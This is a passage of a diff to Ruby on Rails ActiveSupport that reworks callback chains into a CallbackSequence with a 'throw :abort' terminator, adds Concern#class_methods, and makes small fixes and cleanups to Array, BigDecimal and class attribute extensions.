+require 'active_support/core_ext/string/filters'
 require 'thread'
 
 module ActiveSupport
-  # Callbacks are code hooks that are run at key points in an object's lifecycle.
+  # Callbacks are code hooks that are run at key points in an object's life cycle.
   # The typical use case is to have a base class define a set of callbacks
   # relevant to the other functionality it supplies, so that subclasses can
   # install callbacks that enhance or modify the base functionality without
   # needing to override or redefine methods of the base class.
   #
   # Mixing in this module allows you to define the events in the object's
-  # lifecycle that will support callbacks (via +ClassMethods.define_callbacks+),
+  # life cycle that will support callbacks (via +ClassMethods.define_callbacks+),
   # set the instance methods, procs, or callback objects to be called (via
   # +ClassMethods.set_callback+), and run the installed callbacks at the
   # appropriate times (via +run_callbacks+).
@@ -71,25 +72,29 @@ module ActiveSupport
     # order.
     #
     # If the callback chain was halted, returns +false+. Otherwise returns the
-    # result of the block, or +true+ if no block is given.
+    # result of the block, +nil+ if no callbacks have been set, or +true+
+    # if callbacks have been set but no block is given.
     #
     #   run_callbacks :save do
     #     save
     #   end
     def run_callbacks(kind, &block)
-      cbs = send("_#{kind}_callbacks")
-      if cbs.empty?
-        yield if block_given?
+      send "_run_#{kind}_callbacks", &block
+    end
+
+    private
+
+    def _run_callbacks(callbacks, &block)
+      if callbacks.empty?
+        block.call if block
       else
-        runner = cbs.compile
+        runner = callbacks.compile
         e = Filters::Environment.new(self, false, nil, block)
         runner.call(e).value
       end
     end
 
-    private
-
-    # A hook invoked everytime a before callback is halted.
+    # A hook invoked every time a before callback is halted.
     # This can be overridden in AS::Callback implementors in order
     # to provide better debugging/logging.
     def halted_callback_hook(filter)
@@ -117,102 +122,106 @@ module ActiveSupport
       ENDING = End.new
 
       class Before
-        def self.build(next_callback, user_callback, user_conditions, chain_config, filter)
+        def self.build(callback_sequence, user_callback, user_conditions, chain_config, filter)
           halted_lambda = chain_config[:terminator]
 
           if chain_config.key?(:terminator) && user_conditions.any?
-            halting_and_conditional(next_callback, user_callback, user_conditions, halted_lambda, filter)
+            halting_and_conditional(callback_sequence, user_callback, user_conditions, halted_lambda, filter)
           elsif chain_config.key? :terminator
-            halting(next_callback, user_callback, halted_lambda, filter)
+            halting(callback_sequence, user_callback, halted_lambda, filter)
           elsif user_conditions.any?
-            conditional(next_callback, user_callback, user_conditions)
+            conditional(callback_sequence, user_callback, user_conditions)
           else
-            simple next_callback, user_callback
+            simple callback_sequence, user_callback
           end
         end
 
-        private
-
-        def self.halting_and_conditional(next_callback, user_callback, user_conditions, halted_lambda, filter)
-          lambda { |env|
+        def self.halting_and_conditional(callback_sequence, user_callback, user_conditions, halted_lambda, filter)
+          callback_sequence.before do |env|
             target = env.target
             value  = env.value
             halted = env.halted
 
             if !halted && user_conditions.all? { |c| c.call(target, value) }
-              result = user_callback.call target, value
-              env.halted = halted_lambda.call(target, result)
+              result_lambda = -> { user_callback.call target, value }
+              env.halted = halted_lambda.call(target, result_lambda)
               if env.halted
                 target.send :halted_callback_hook, filter
               end
             end
-            next_callback.call env
-          }
+
+            env
+          end
         end
+        private_class_method :halting_and_conditional
 
-        def self.halting(next_callback, user_callback, halted_lambda, filter)
-          lambda { |env|
+        def self.halting(callback_sequence, user_callback, halted_lambda, filter)
+          callback_sequence.before do |env|
             target = env.target
             value  = env.value
             halted = env.halted
 
             unless halted
-              result = user_callback.call target, value
-              env.halted = halted_lambda.call(target, result)
+              result_lambda = -> { user_callback.call target, value }
+              env.halted = halted_lambda.call(target, result_lambda)
+
               if env.halted
                 target.send :halted_callback_hook, filter
               end
             end
-            next_callback.call env
-          }
+
+            env
+          end
         end
+        private_class_method :halting
 
-        def self.conditional(next_callback, user_callback, user_conditions)
-          lambda { |env|
+        def self.conditional(callback_sequence, user_callback, user_conditions)
+          callback_sequence.before do |env|
             target = env.target
             value  = env.value
 
             if user_conditions.all? { |c| c.call(target, value) }
               user_callback.call target, value
             end
-            next_callback.call env
-          }
+
+            env
+          end
         end
+        private_class_method :conditional
 
-        def self.simple(next_callback, user_callback)
-          lambda { |env|
+        def self.simple(callback_sequence, user_callback)
+          callback_sequence.before do |env|
             user_callback.call env.target, env.value
-            next_callback.call env
-          }
+
+            env
+          end
         end
+        private_class_method :simple
       end
 
       class After
-        def self.build(next_callback, user_callback, user_conditions, chain_config)
+        def self.build(callback_sequence, user_callback, user_conditions, chain_config)
           if chain_config[:skip_after_callbacks_if_terminated]
             if chain_config.key?(:terminator) && user_conditions.any?
-              halting_and_conditional(next_callback, user_callback, user_conditions)
+              halting_and_conditional(callback_sequence, user_callback, user_conditions)
             elsif chain_config.key?(:terminator)
-              halting(next_callback, user_callback)
+              halting(callback_sequence, user_callback)
             elsif user_conditions.any?
-              conditional next_callback, user_callback, user_conditions
+              conditional callback_sequence, user_callback, user_conditions
             else
-              simple next_callback, user_callback
+              simple callback_sequence, user_callback
             end
           else
             if user_conditions.any?
-              conditional next_callback, user_callback, user_conditions
+              conditional callback_sequence, user_callback, user_conditions
             else
-              simple next_callback, user_callback
+              simple callback_sequence, user_callback
             end
           end
         end
 
-        private
-
-        def self.halting_and_conditional(next_callback, user_callback, user_conditions)
-          lambda { |env|
-            env = next_callback.call env
+        def self.halting_and_conditional(callback_sequence, user_callback, user_conditions)
+          callback_sequence.after do |env|
             target = env.target
             value  = env.value
             halted = env.halted
@@ -220,118 +229,121 @@ module ActiveSupport
             if !halted && user_conditions.all? { |c| c.call(target, value) }
               user_callback.call target, value
             end
+
             env
-          }
+          end
         end
+        private_class_method :halting_and_conditional
 
-        def self.halting(next_callback, user_callback)
-          lambda { |env|
-            env = next_callback.call env
+        def self.halting(callback_sequence, user_callback)
+          callback_sequence.after do |env|
             unless env.halted
               user_callback.call env.target, env.value
             end
+
             env
-          }
+          end
         end
+        private_class_method :halting
 
-        def self.conditional(next_callback, user_callback, user_conditions)
-          lambda { |env|
-            env = next_callback.call env
+        def self.conditional(callback_sequence, user_callback, user_conditions)
+          callback_sequence.after do |env|
             target = env.target
             value  = env.value
 
             if user_conditions.all? { |c| c.call(target, value) }
               user_callback.call target, value
             end
+
             env
-          }
+          end
         end
+        private_class_method :conditional
 
-        def self.simple(next_callback, user_callback)
-          lambda { |env|
-            env = next_callback.call env
+        def self.simple(callback_sequence, user_callback)
+          callback_sequence.after do |env|
             user_callback.call env.target, env.value
+
             env
-          }
+          end
         end
+        private_class_method :simple
       end
 
       class Around
-        def self.build(next_callback, user_callback, user_conditions, chain_config)
+        def self.build(callback_sequence, user_callback, user_conditions, chain_config)
           if chain_config.key?(:terminator) && user_conditions.any?
-            halting_and_conditional(next_callback, user_callback, user_conditions)
+            halting_and_conditional(callback_sequence, user_callback, user_conditions)
           elsif chain_config.key? :terminator
-            halting(next_callback, user_callback)
+            halting(callback_sequence, user_callback)
           elsif user_conditions.any?
-            conditional(next_callback, user_callback, user_conditions)
+            conditional(callback_sequence, user_callback, user_conditions)
           else
-            simple(next_callback, user_callback)
+            simple(callback_sequence, user_callback)
           end
         end
 
-        private
-
-        def self.halting_and_conditional(next_callback, user_callback, user_conditions)
-          lambda { |env|
+        def self.halting_and_conditional(callback_sequence, user_callback, user_conditions)
+          callback_sequence.around do |env, &run|
             target = env.target
             value  = env.value
             halted = env.halted
 
             if !halted && user_conditions.all? { |c| c.call(target, value) }
               user_callback.call(target, value) {
-                env = next_callback.call env
-                env.value
+                run.call.value
               }
               env
             else
-              next_callback.call env
+              run.call
             end
-          }
+          end
         end
+        private_class_method :halting_and_conditional
 
-        def self.halting(next_callback, user_callback)
-          lambda { |env|
+        def self.halting(callback_sequence, user_callback)
+          callback_sequence.around do |env, &run|
             target = env.target
             value  = env.value
 
-            unless env.halted
+            if env.halted
+              run.call
+            else
               user_callback.call(target, value) {
-                env = next_callback.call env
-                env.value
+                run.call.value
               }
               env
-            else
-              next_callback.call env
             end
-          }
+          end
         end
+        private_class_method :halting
 
-        def self.conditional(next_callback, user_callback, user_conditions)
-          lambda { |env|
+        def self.conditional(callback_sequence, user_callback, user_conditions)
+          callback_sequence.around do |env, &run|
             target = env.target
             value  = env.value
 
             if user_conditions.all? { |c| c.call(target, value) }
               user_callback.call(target, value) {
-                env = next_callback.call env
-                env.value
+                run.call.value
               }
               env
             else
-              next_callback.call env
+              run.call
             end
-          }
+          end
         end
+        private_class_method :conditional
 
-        def self.simple(next_callback, user_callback)
-          lambda { |env|
+        def self.simple(callback_sequence, user_callback)
+          callback_sequence.around do |env, &run|
             user_callback.call(env.target, env.value) {
-              env = next_callback.call env
-              env.value
+              run.call.value
             }
             env
-          }
+          end
         end
+        private_class_method :simple
       end
     end
 
@@ -356,14 +368,14 @@ module ActiveSupport
       def filter; @key; end
       def raw_filter; @filter; end
 
-      def merge(chain, new_options)
+      def merge_conditional_options(chain, if_option:, unless_option:)
         options = {
           :if     => @if.dup,
           :unless => @unless.dup
         }
 
-        options[:if].concat     Array(new_options.fetch(:unless, []))
-        options[:unless].concat Array(new_options.fetch(:if, []))
+        options[:if].concat     Array(unless_option)
+        options[:unless].concat Array(if_option)
 
         self.class.build chain, @filter, @kind, options
       end
@@ -382,17 +394,17 @@ module ActiveSupport
       end
 
       # Wraps code with filter
-      def apply(next_callback)
+      def apply(callback_sequence)
         user_conditions = conditions_lambdas
         user_callback = make_lambda @filter
 
         case kind
         when :before
-          Filters::Before.build(next_callback, user_callback, user_conditions, chain_config, @filter)
+          Filters::Before.build(callback_sequence, user_callback, user_conditions, chain_config, @filter)
         when :after
-          Filters::After.build(next_callback, user_callback, user_conditions, chain_config)
+          Filters::After.build(callback_sequence, user_callback, user_conditions, chain_config)
         when :around
-          Filters::Around.build(next_callback, user_callback, user_conditions, chain_config)
+          Filters::Around.build(callback_sequence, user_callback, user_conditions, chain_config)
         end
       end
 
@@ -409,15 +421,8 @@ module ActiveSupport
       #   Procs::   A proc to call with the object.
       #   Objects:: An object with a <tt>before_foo</tt> method on it to call.
       #
-      # All of these objects are compiled into methods and handled
-      # the same after this point:
-      #
-      #   Symbols:: Already methods.
-      #   Strings:: class_eval'd into methods.
-      #   Procs::   using define_method compiled into methods.
-      #   Objects::
-      #     a method is created that calls the before_foo method
-      #     on the object.
+      # All of these objects are converted into a lambda and handled
+      # the same after this point.
       def make_lambda(filter)
         case filter
         when Symbol
@@ -464,16 +469,59 @@ module ActiveSupport
       end
     end
 
+    # Execute before and after filters in a sequence instead of
+    # chaining them with nested lambda calls, see:
+    # https://github.com/rails/rails/issues/18011
+    class CallbackSequence
+      def initialize(&call)
+        @call = call
+        @before = []
+        @after = []
+      end
+
+      def before(&before)
+        @before.unshift(before)
+        self
+      end
+
+      def after(&after)
+        @after.push(after)
+        self
+      end
+
+      def around(&around)
+        CallbackSequence.new do |*args|
+          around.call(*args) {
+            self.call(*args)
+          }
+        end
+      end
+
+      def call(*args)
+        @before.each { |b| b.call(*args) }
+        value = @call.call(*args)
+        @after.each { |a| a.call(*args) }
+        value
+      end
+    end
+
     # An Array with a compile method.
     class CallbackChain #:nodoc:#
       include Enumerable
 
       attr_reader :name, :config
 
+      # If true, any callback returning +false+ will halt the entire callback
+      # chain and display a deprecation message. If false, callback chains will
+      # only be halted by calling +throw :abort+. Defaults to +true+.
+      class_attribute :halt_and_display_warning_on_return_false
+      self.halt_and_display_warning_on_return_false = true
+
       def initialize(name, config)
         @name = name
         @config = {
-          :scope => [ :kind ]
+          scope: [:kind],
+          terminator: default_terminator
         }.merge!(config)
         @chain = []
         @callbacks = nil
@@ -508,8 +556,9 @@ module ActiveSupport
 
       def compile
         @callbacks || @mutex.synchronize do
-          @callbacks ||= @chain.reverse.inject(Filters::ENDING) do |chain, callback|
-            callback.apply chain
+          final_sequence = CallbackSequence.new { |env| Filters::ENDING.call(env) }
+          @callbacks ||= @chain.reverse.inject(final_sequence) do |callback_sequence, callback|
+            callback.apply callback_sequence
           end
         end
       end
@@ -543,6 +592,28 @@ module ActiveSupport
         @callbacks = nil
         @chain.delete_if { |c| callback.duplicates?(c) }
       end
+
+      def default_terminator
+        Proc.new do |target, result_lambda|
+          terminate = true
+          catch(:abort) do
+            result = result_lambda.call if result_lambda.is_a?(Proc)
+            if halt_and_display_warning_on_return_false && result == false
+              display_deprecation_warning_for_false_terminator
+            else
+              terminate = false
+            end
+          end
+          terminate
+        end
+      end
+
+      def display_deprecation_warning_for_false_terminator
+        ActiveSupport::Deprecation.warn(<<-MSG.squish)
+          Returning `false` in a callback will not implicitly halt a callback chain in the next release of Rails.
+          To explicitly halt a callback chain, please use `throw :abort` instead.
+        MSG
+      end
     end
 
     module ClassMethods
@@ -556,7 +627,7 @@ module ActiveSupport
       # This is used internally to append, prepend and skip callbacks to the
       # CallbackChain.
       def __update_callbacks(name) #:nodoc:
-        ([self] + ActiveSupport::DescendantsTracker.descendants(self)).reverse.each do |target|
+        ([self] + ActiveSupport::DescendantsTracker.descendants(self)).reverse_each do |target|
           chain = target.get_callbacks name
           yield target, chain.dup
         end
@@ -566,7 +637,7 @@ module ActiveSupport
       #
       #   set_callback :save, :before, :before_meth
       #   set_callback :save, :after,  :after_meth, if: :condition
-      #   set_callback :save, :around, ->(r, &block) { stuff; result = block.call; stuff }
+      #   set_callback :save, :around, ->(r, block) { stuff; result = block.call; stuff }
       #
       # The second arguments indicates whether the callback is to be run +:before+,
       # +:after+, or +:around+ the event. If omitted, +:before+ is assumed. This
@@ -574,10 +645,10 @@ module ActiveSupport
       #
       #   set_callback :save, :before_meth
       #
-      # The callback can specified as a symbol naming an instance method; as a
+      # The callback can be specified as a symbol naming an instance method; as a
       # proc, lambda, or block; as a string to be instance evaluated; or as an
       # object that responds to a certain method determined by the <tt>:scope</tt>
-      # argument to +define_callback+.
+      # argument to +define_callbacks+.
       #
       # If a proc, lambda, or block is given, its body is evaluated in the context
       # of the current object. It can also optionally accept the current object as
@@ -625,7 +696,7 @@ module ActiveSupport
             filter = chain.find {|c| c.matches?(type, filter) }
 
             if filter && options.any?
-              new_filter = filter.merge(chain, options)
+              new_filter = filter.merge_conditional_options(chain, if_option: options[:if], unless_option: options[:unless])
               chain.insert(chain.index(filter), new_filter)
             end
 
@@ -648,7 +719,7 @@ module ActiveSupport
         self.set_callbacks name, callbacks.dup.clear
       end
 
-      # Define sets of events in the object lifecycle that support callbacks.
+      # Define sets of events in the object life cycle that support callbacks.
       #
       #   define_callbacks :validate
       #   define_callbacks :initialize, :save, :destroy
@@ -656,16 +727,17 @@ module ActiveSupport
       # ===== Options
       #
       # * <tt>:terminator</tt> - Determines when a before filter will halt the
-      #   callback chain, preventing following callbacks from being called and
-      #   the event from being triggered. This should be a lambda to be executed.
+      #   callback chain, preventing following before and around callbacks from
+      #   being called and the event from being triggered.
+      #   This should be a lambda to be executed.
       #   The current object and the return result of the callback will be called
       #   with the lambda.
       #
       #     define_callbacks :validate, terminator: ->(target, result) { result == false }
       #
       #   In this example, if any before validate callbacks returns +false+,
-      #   other callbacks are not executed. Defaults to +false+, meaning no value
-      #   halts the chain.
+      #   any successive before and around callback is not executed.
+      #   Defaults to +false+, meaning no value halts the chain.
       #
       # * <tt>:skip_after_callbacks_if_terminated</tt> - Determines if after
       #   callbacks should be terminated by the <tt>:terminator</tt> option. By
@@ -716,18 +788,21 @@ module ActiveSupport
       #     define_callbacks :save, scope: [:name]
       #
       #   would call <tt>Audit#save</tt>.
+      #
+      # NOTE: +method_name+ passed to `define_model_callbacks` must not end with
+      # `!`, `?` or `=`.
       def define_callbacks(*names)
         options = names.extract_options!
-        if options.key?(:terminator) && String === options[:terminator]
-          ActiveSupport::Deprecation.warn "String based terminators are deprecated, please use a lambda"
-          value = options[:terminator]
-          line = class_eval "lambda { |result| #{value} }", __FILE__, __LINE__
-          options[:terminator] = lambda { |target, result| target.instance_exec(result, &line) }
-        end
 
         names.each do |name|
           class_attribute "_#{name}_callbacks"
           set_callbacks name, CallbackChain.new(name, options)
+
+          module_eval <<-RUBY, __FILE__, __LINE__ + 1
+            def _run_#{name}_callbacks(&block)
+              _run_callbacks(_#{name}_callbacks, &block)
+            end
+          RUBY
         end
       end
 
diff --git a/activesupport/lib/active_support/concern.rb b/activesupport/lib/active_support/concern.rb
index b796d01dfd..4082d2d464 100644
--- a/activesupport/lib/active_support/concern.rb
+++ b/activesupport/lib/active_support/concern.rb
@@ -26,7 +26,7 @@ module ActiveSupport
   #       scope :disabled, -> { where(disabled: true) }
   #     end
   #
-  #     module ClassMethods
+  #     class_methods do
   #       ...
   #     end
   #   end
@@ -95,7 +95,7 @@ module ActiveSupport
   #   end
   #
   #   class Host
-  #     include Bar # works, Bar takes care now of its dependencies
+  #     include Bar # It works, now Bar takes care of its dependencies
   #   end
   module Concern
     class MultipleIncludedBlocks < StandardError #:nodoc:
@@ -114,7 +114,7 @@ module ActiveSupport
         return false
       else
         return false if base < self
-        @_dependencies.each { |dep| base.send(:include, dep) }
+        @_dependencies.each { |dep| base.include(dep) }
         super
         base.extend const_get(:ClassMethods) if const_defined?(:ClassMethods)
         base.class_eval(&@_included_block) if instance_variable_defined?(:@_included_block)
@@ -130,5 +130,13 @@ module ActiveSupport
         super
       end
     end
+
+    def class_methods(&class_methods_module_definition)
+      mod = const_defined?(:ClassMethods) ?
+        const_get(:ClassMethods) :
+        const_set(:ClassMethods, Module.new)
+
+      mod.module_eval(&class_methods_module_definition)
+    end
   end
 end
diff --git a/activesupport/lib/active_support/configurable.rb b/activesupport/lib/active_support/configurable.rb
index e0d39d509f..8256c325af 100644
--- a/activesupport/lib/active_support/configurable.rb
+++ b/activesupport/lib/active_support/configurable.rb
@@ -107,7 +107,7 @@ module ActiveSupport
         options = names.extract_options!
 
         names.each do |name|
-          raise NameError.new('invalid config attribute name') unless name =~ /^[_A-Za-z]\w*$/
+          raise NameError.new('invalid config attribute name') unless name =~ /\A[_A-Za-z]\w*\z/
 
           reader, reader_line = "def #{name}; config.#{name}; end", __LINE__
           writer, writer_line = "def #{name}=(value); config.#{name} = value; end", __LINE__
@@ -122,6 +122,7 @@ module ActiveSupport
           send("#{name}=", yield) if block_given?
         end
       end
+      private :config_accessor
     end
 
     # Reads and writes attributes from a configuration <tt>OrderedHash</tt>.
diff --git a/activesupport/lib/active_support/core_ext.rb b/activesupport/lib/active_support/core_ext.rb
index 199aa91020..52706c3d7a 100644
--- a/activesupport/lib/active_support/core_ext.rb
+++ b/activesupport/lib/active_support/core_ext.rb
@@ -1,3 +1,4 @@
-Dir["#{File.dirname(__FILE__)}/core_ext/*.rb"].each do |path|
+DEPRECATED_FILES = ["#{File.dirname(__FILE__)}/core_ext/struct.rb"]
+(Dir["#{File.dirname(__FILE__)}/core_ext/*.rb"] - DEPRECATED_FILES).each do |path|
   require path
 end
diff --git a/activesupport/lib/active_support/core_ext/array/access.rb b/activesupport/lib/active_support/core_ext/array/access.rb
index 4f1e432b61..ca66d806ef 100644
--- a/activesupport/lib/active_support/core_ext/array/access.rb
+++ b/activesupport/lib/active_support/core_ext/array/access.rb
@@ -5,6 +5,8 @@ class Array
   #   %w( a b c d ).from(2)  # => ["c", "d"]
   #   %w( a b c d ).from(10) # => []
   #   %w().from(0)           # => []
+  #   %w( a b c d ).from(-2) # => ["c", "d"]
+  #   %w( a b c ).from(-10)  # => []
   def from(position)
     self[position, length] || []
   end
@@ -15,8 +17,14 @@ class Array
   #   %w( a b c d ).to(2)  # => ["a", "b", "c"]
   #   %w( a b c d ).to(10) # => ["a", "b", "c", "d"]
   #   %w().to(0)           # => []
+  #   %w( a b c d ).to(-2) # => ["a", "b", "c"]
+  #   %w( a b c ).to(-10)  # => []
   def to(position)
-    first position + 1
+    if position >= 0
+      take position + 1
+    else
+      self[0..position]
+    end
   end
 
   # Equal to <tt>self[1]</tt>.
@@ -48,6 +56,8 @@ class Array
   end
 
   # Equal to <tt>self[41]</tt>. Also known as accessing "the reddit".
+  #
+  #   (1..42).to_a.forty_two # => 42
   def forty_two
     self[41]
   end
diff --git a/activesupport/lib/active_support/core_ext/array/conversions.rb b/activesupport/lib/active_support/core_ext/array/conversions.rb
index 76ffd23ed1..080e3b5ef7 100644
--- a/activesupport/lib/active_support/core_ext/array/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/array/conversions.rb
@@ -92,7 +92,7 @@ class Array
       if empty?
         'null'
       else
-        collect { |element| element.id }.join(',')
+        collect(&:id).join(',')
       end
     else
       to_default_s
diff --git a/activesupport/lib/active_support/core_ext/array/grouping.rb b/activesupport/lib/active_support/core_ext/array/grouping.rb
index 37f007c751..87ae052eb0 100644
--- a/activesupport/lib/active_support/core_ext/array/grouping.rb
+++ b/activesupport/lib/active_support/core_ext/array/grouping.rb
@@ -18,6 +18,11 @@ class Array
   #   ["3", "4"]
   #   ["5"]
   def in_groups_of(number, fill_with = nil)
+    if number.to_i <= 0
+      raise ArgumentError,
+        "Group size must be a positive integer, was #{number.inspect}"
+    end
+
     if fill_with == false
       collection = self
     else
@@ -53,7 +58,7 @@ class Array
   #   ["4", "5"]
   #   ["6", "7"]
   def in_groups(number, fill_with = nil)
-    # size / number gives minor group size;
+    # size.div number gives minor group size;
     # size % number gives how many objects need extra accommodation;
     # each group hold either division or division + 1 items.
     division = size.div number
@@ -83,10 +88,10 @@ class Array
   #
   #   [1, 2, 3, 4, 5].split(3)              # => [[1, 2], [4, 5]]
   #   (1..10).to_a.split { |i| i % 3 == 0 } # => [[1, 2], [4, 5], [7, 8], [10]]
-  def split(value = nil, &block)
-    if block
+  def split(value = nil)
+    if block_given?
       inject([[]]) do |results, element|
-        if block.call(element)
+        if yield(element)
           results << []
         else
           results.last << element
@@ -95,9 +100,9 @@ class Array
         results
       end
     else
-      results, arr = [[]], self
+      results, arr = [[]], self.dup
       until arr.empty?
-        if (idx = index(value))
+        if (idx = arr.index(value))
           results.last.concat(arr.shift(idx))
           arr.shift
           results << []
diff --git a/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb b/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb
index 27718f19d4..f8d48b69df 100644
--- a/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb
+++ b/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb
@@ -1,7 +1,7 @@
 class Array
-  # The human way of thinking about adding stuff to the end of a list is with append
+  # The human way of thinking about adding stuff to the end of a list is with append.
   alias_method :append,  :<<
 
-  # The human way of thinking about adding stuff to the beginning of a list is with prepend
+  # The human way of thinking about adding stuff to the beginning of a list is with prepend.
   alias_method :prepend, :unshift
 end
\ No newline at end of file
diff --git a/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb b/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb
index 39b8cea807..234283e792 100644
--- a/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb
@@ -1,31 +1,15 @@
 require 'bigdecimal'
 require 'bigdecimal/util'
-require 'yaml'
 
 class BigDecimal
-  YAML_MAPPING = { 'Infinity' => '.Inf', '-Infinity' => '-.Inf', 'NaN' => '.NaN' }
-
-  def encode_with(coder)
-    string = to_s
-    coder.represent_scalar(nil, YAML_MAPPING[string] || string)
-  end
-
-  # Backport this method if it doesn't exist
-  unless method_defined?(:to_d)
-    def to_d
-      self
-    end
-  end
-
   DEFAULT_STRING_FORMAT = 'F'
-  def to_formatted_s(*args)
-    if args[0].is_a?(Symbol)
-      super
+  alias_method :to_default_s, :to_s
+
+  def to_s(format = nil, options = nil)
+    if format.is_a?(Symbol)
+      to_formatted_s(format, options || {})
     else
-      format = args[0] || DEFAULT_STRING_FORMAT
-      _original_to_s(format)
+      to_default_s(format || DEFAULT_STRING_FORMAT)
     end
   end
-  alias_method :_original_to_s, :to_s
-  alias_method :to_s, :to_formatted_s
 end
diff --git a/activesupport/lib/active_support/core_ext/class.rb b/activesupport/lib/active_support/core_ext/class.rb
index 86b752c2f3..c750a10bb2 100644
--- a/activesupport/lib/active_support/core_ext/class.rb
+++ b/activesupport/lib/active_support/core_ext/class.rb
@@ -1,4 +1,3 @@
 require 'active_support/core_ext/class/attribute'
-require 'active_support/core_ext/class/attribute_accessors'
 require 'active_support/core_ext/class/delegating_attributes'
 require 'active_support/core_ext/class/subclasses'
diff --git a/activesupport/lib/active_support/core_ext/class/attribute.rb b/activesupport/lib/active_support/core_ext/class/attribute.rb
index 83038f9da5..f2b7bb3ef1 100644
--- a/activesupport/lib/active_support/core_ext/class/attribute.rb
+++ b/activesupport/lib/active_support/core_ext/class/attribute.rb
@@ -116,9 +116,4 @@ class Class
       attr_writer name if instance_writer
     end
   end
-
-  private
-    def singleton_class?
-      ancestors.first != self
-    end
 end
diff --git a/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb b/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
index 34859617c9..84d5e95e7a 100644
--- a/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
+++ b/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
@@ -1,170 +1,4 @@
-require 'active_support/core_ext/array/extract_options'
-
-# Extends the class object with class and instance accessors for class attributes,
-# just like the native attr* accessors for instance attributes.
-class Class
-  # Defines a class attribute if it's not defined and creates a reader method that
-  # returns the attribute value.
-  #
-  #   class Person
-  #     cattr_reader :hair_colors
-  #   end
-  #
-  #   Person.class_variable_set("@@hair_colors", [:brown, :black])
-  #   Person.hair_colors     # => [:brown, :black]
-  #   Person.new.hair_colors # => [:brown, :black]
-  #
-  # The attribute name must be a valid method name in Ruby.
-  #
-  #   class Person
-  #     cattr_reader :"1_Badname "
-  #   end
-  #   # => NameError: invalid attribute name
-  #
-  # If you want to opt out the instance reader method, you can pass <tt>instance_reader: false</tt>
-  # or <tt>instance_accessor: false</tt>.
-  #
-  #   class Person
-  #     cattr_reader :hair_colors, instance_reader: false
-  #   end
-  #
-  #   Person.new.hair_colors # => NoMethodError
-  def cattr_reader(*syms)
-    options = syms.extract_options!
-    syms.each do |sym|
-      raise NameError.new("invalid class attribute name: #{sym}") unless sym =~ /^[_A-Za-z]\w*$/
-      class_eval(<<-EOS, __FILE__, __LINE__ + 1)
-        unless defined? @@#{sym}
-          @@#{sym} = nil
-        end
-
-        def self.#{sym}
-          @@#{sym}
-        end
-      EOS
-
-      unless options[:instance_reader] == false || options[:instance_accessor] == false
-        class_eval(<<-EOS, __FILE__, __LINE__ + 1)
-          def #{sym}
-            @@#{sym}
-          end
-        EOS
-      end
-    end
-  end
-
-  # Defines a class attribute if it's not defined and creates a writer method to allow
-  # assignment to the attribute.
-  #
-  #   class Person
-  #     cattr_writer :hair_colors
-  #   end
-  #
-  #   Person.hair_colors = [:brown, :black]
-  #   Person.class_variable_get("@@hair_colors") # => [:brown, :black]
-  #   Person.new.hair_colors = [:blonde, :red]
-  #   Person.class_variable_get("@@hair_colors") # => [:blonde, :red]
-  #
-  # The attribute name must be a valid method name in Ruby.
-  #
-  #   class Person
-  #     cattr_writer :"1_Badname "
-  #   end
-  #   # => NameError: invalid attribute name
-  #
-  # If you want to opt out the instance writer method, pass <tt>instance_writer: false</tt>
-  # or <tt>instance_accessor: false</tt>.
-  #
-  #   class Person
-  #     cattr_writer :hair_colors, instance_writer: false
-  #   end
-  #
-  #   Person.new.hair_colors = [:blonde, :red] # => NoMethodError
-  #
-  # Also, you can pass a block to set up the attribute with a default value.
-  #
-  #   class Person
-  #     cattr_writer :hair_colors do
-  #       [:brown, :black, :blonde, :red]
-  #     end
-  #   end
-  #
-  #   Person.class_variable_get("@@hair_colors") # => [:brown, :black, :blonde, :red]
-  def cattr_writer(*syms)
-    options = syms.extract_options!
-    syms.each do |sym|
-      raise NameError.new("invalid class attribute name: #{sym}") unless sym =~ /^[_A-Za-z]\w*$/
-      class_eval(<<-EOS, __FILE__, __LINE__ + 1)
-        unless defined? @@#{sym}
-          @@#{sym} = nil
-        end
-
-        def self.#{sym}=(obj)
-          @@#{sym} = obj
-        end
-      EOS
-
-      unless options[:instance_writer] == false || options[:instance_accessor] == false
-        class_eval(<<-EOS, __FILE__, __LINE__ + 1)
-          def #{sym}=(obj)
-            @@#{sym} = obj
-          end
-        EOS
-      end
-      send("#{sym}=", yield) if block_given?
-    end
-  end
-
-  # Defines both class and instance accessors for class attributes.
-  #
-  #   class Person
-  #     cattr_accessor :hair_colors
-  #   end
-  #
-  #   Person.hair_colors = [:brown, :black, :blonde, :red]
-  #   Person.hair_colors     # => [:brown, :black, :blonde, :red]
-  #   Person.new.hair_colors # => [:brown, :black, :blonde, :red]
-  #
-  # If a subclass changes the value then that would also change the value for
-  # parent class. Similarly if parent class changes the value then that would
-  # change the value of subclasses too.
-  #
-  #   class Male < Person
-  #   end
-  #
-  #   Male.hair_colors << :blue
-  #   Person.hair_colors # => [:brown, :black, :blonde, :red, :blue]
-  #
-  # To opt out of the instance writer method, pass <tt>instance_writer: false</tt>.
-  # To opt out of the instance reader method, pass <tt>instance_reader: false</tt>.
-  #
-  #   class Person
-  #     cattr_accessor :hair_colors, instance_writer: false, instance_reader: false
-  #   end
-  #
-  #   Person.new.hair_colors = [:brown]  # => NoMethodError
-  #   Person.new.hair_colors             # => NoMethodError
-  #
-  # Or pass <tt>instance_accessor: false</tt>, to opt out both instance methods.
-  #
-  #   class Person
-  #     cattr_accessor :hair_colors, instance_accessor: false
-  #   end
-  #
-  #   Person.new.hair_colors = [:brown]  # => NoMethodError
-  #   Person.new.hair_colors             # => NoMethodError
-  #
-  # Also you can pass a block to set up the attribute with a default value.
-  #
-  #   class Person
-  #     cattr_accessor :hair_colors do
-  #       [:brown, :black, :blonde, :red]
-  #     end
-  #   end
-  #
-  #   Person.class_variable_get("@@hair_colors") #=> [:brown, :black, :blonde, :red]
-  def cattr_accessor(*syms, &blk)
-    cattr_reader(*syms)
-    cattr_writer(*syms, &blk)
-  end
-end
